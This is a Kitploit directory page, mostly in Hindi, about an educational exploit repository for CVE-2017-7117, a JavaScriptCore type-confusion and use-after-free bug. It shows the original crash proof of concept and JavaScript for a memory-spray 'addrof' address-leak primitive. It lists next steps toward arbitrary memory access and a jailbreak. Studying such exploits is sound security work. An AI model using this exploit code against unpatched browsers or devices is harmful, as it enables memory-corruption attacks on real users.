Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2017-7117 — शैक्षिक एक्सप्लॉइट CVE-2017-7117 के लिए, जो iOS 10.3.4 JavaScriptCore में एक टाइप-कन्फ्यूजन और यूज़-आफ्टर-फ्री भेद्यता है, जो मेमोरी स्प्रेइंग और एड्रेस लीक तकनीकों का प्रदर्शन करता है। | Kitploit
उपकरण/GitHubGitHub/rebelle3/cve-2017-7117
आईओएस सुरक्षामेमोरी फोरेंसिकभेद्यता विश्लेषणशोषणशेलकोडमोबाइल सुरक्षालर्निंग और शिक्षाबाइनरी शोषण
GitHubrebelle3/cve-2017-7117

cve-2017-7117

शैक्षिक एक्सप्लॉइट CVE-2017-7117 के लिए, जो iOS 10.3.4 JavaScriptCore में एक टाइप-कन्फ्यूजन और यूज़-आफ्टर-फ्री भेद्यता है, जो मेमोरी स्प्रेइंग और एड्रेस लीक तकनीकों का प्रदर्शन करता है।

रिपॉजिटरी देखें
331 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

cve-2017-7117

बग के बारे में

iOS 10.3.4 और उससे पहले के संस्करणों तथा Safari 11.0 से पहले के संस्करणों में पाया गया एक type-confusion और UAF (use-after-free) दोष।

CVE-2017-7117: mitre.org

मूल Proof of Concept

@lokihardt द्वारा खोजा गया, स्रोत: Google Project Zero

root@kitploit:~
function f() {
  let o = {};
  for (let i in {xx: 0}) { // i is a String
    for (i of [0]) { // i is now a number, but JIT treats as String
    }
    print(o[i]); // whoops
  }  
}

f();

उपरोक्त कोड चलाने से JSC क्रैश हो जाएगा।

एक्सप्लॉइट

हम एक बड़ा array arr बनाते हैं, जिसे देखकर JIT कंपाइलर भ्रमित होकर इसे एक string समझने लगेगा।

root@kitploit:~
var arr = new Uint32Array(1 * 1024 * 1024 / 4); // 1mb | 1 item == 4 bytes
arr[4] = 0xb0; // to pass checks for the member m_hashAndFlags 

जब i का संदर्भ खो जाता है, तब हम मूल array arr तक पहुँच बनाए रखते हैं और अंतर्निहित मेमोरी को पढ़ सकते हैं।

एक ज्ञात मान से स्प्रे करके हम इसे ढूँढ सकते हैं और ऊपर की ओर बढ़ते हुए किसी भी ऑब्जेक्ट के pointer का पता लगा सकते हैं।

root@kitploit:~
function addrof(obj) {

    // search the freed array for this number
    var locator = 0x1337;

    // spray the freed memory with the locator
    var sprays = [];
    for (var i = 0; i < 0x1000; ++i) {
        sprays.push(i % 2 == 0 ? locator : obj);
    }

    // find the first instance of the locator
    var found = null;
    for(var i = 0; i < arr.length; i++) {
        if(arr[i] == locator) {
            found = i
            break
        }
    }

    // the pointer for the object is 3 and 2 indicies after the locator
    return found && [arr[found + 3], arr[found + 2]]

}

मानों तक मेमोरी में Uint32Array के माध्यम से पहुँचा जाता है, पहले निचले बिट्स, फिर ऊपरी बिट्स।

root@kitploit:~
let target = {
    foo: "bar"
}

let address = addrof(target)
// address: 0x0000ffff8d178e60

आप describe() का उपयोग करके address की वैधता सत्यापित कर सकते हैं।

root@kitploit:~
print(describe(target))
// Object: 0xffff8d178e60 with butterfly (nil) (0xffff9099bba0:[Object, {foo:0}, NonArray, Proto:0xffff909b00a0, Leaf]), ID: 244

सेटअप दोहराएँ

वर्तमान में परीक्षण किया गया:

  • Ubuntu 20.04.5 LTS ARM64
  • libwebkitgtk संस्करण 2.16.0 से संवेदनशील JavaScriptCore (JSC)
    • बिल्ड आर्काइव: launchpad.net
  • मेमोरी निरीक्षण के लिए LLDB (वैकल्पिक)

iPhone 5, iOS 10.3.4 पर (अभी तक) काम नहीं करता। आइए जानें क्यों ...

अगले कदम?

  • एक नकली (fake) ऑब्जेक्ट तैयार करना
  • मनमानी मेमोरी पढ़ना / लिखना
  • iOS 10 को जेलब्रेक करना?

महत्वपूर्ण

यह रिपॉज़िटरी एक शैक्षिक संसाधन के रूप में प्रदान की गई है, जो एक्सप्लॉइट डेवलपमेंट में मेरी सीख को ट्रैक करती है। इस CVE को 7 वर्षों से अधिक समय पहले पैच किया जा चुका है। स्पष्ट रूप से, इसका उपयोग दुर्भावनापूर्ण उद्देश्यों के लिए न करें।

टूल डाउनलोड करें